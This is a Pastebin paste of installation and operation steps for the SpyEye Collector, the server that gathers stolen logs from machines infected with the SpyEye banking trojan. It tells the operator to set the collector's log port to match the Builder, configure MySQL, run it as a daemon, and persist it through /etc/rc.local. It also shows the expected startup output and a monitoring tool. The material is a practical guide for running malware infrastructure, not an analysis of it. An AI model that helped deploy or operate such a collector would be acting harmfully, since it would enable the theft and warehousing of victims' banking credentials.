Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- First of all you have to look at configuration file, by default you can find it there:
- SpyEyeCollector/configs/sec.config
- There is A line : listening port for logs = "53" the must be same port as U use In Builder later.
- mysql username = "root"
- mysql password = ""
- mysql db name = ""
- And u need To Edit these values .. to Your SQl connection Settings.
- U need To Connect via ex. Putty to ure Server then when U uploaded The entire Collector Folder go in it cd /blabla/collector
- It is better to run programm as daemon process, for this use a command line parameter `-d':
- ./SpyEyeCollector -d
- If you want to see some internal steps of Collectors work you can redirect out of program to some file like that:
- ./SpyEyeCollector > sec.log &
- For autostart program with OS Insert this line by next command:
- echo "/full/path/to/application/SpyEyeCollector -d" >> /etc/rc.local
- type that in Console hit enter !
- If programm start successful you have to see next message:
- * * * Config successful readed.
- | * * * MySQL connection success.
- |
- | Try to make clerk socket ...
- | Successful. Discriptor = 3
- | Try to bind socket to my addr: INADDR_ANY:53. ...
- | Successful. Try to make it reusable... Successful.
- |
- | Now I become a daemon! >)
- MONITORING.
- You can watch statistics of Collector's work by programm sec-manager, just run it and look at results.
- ./sec-manager
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement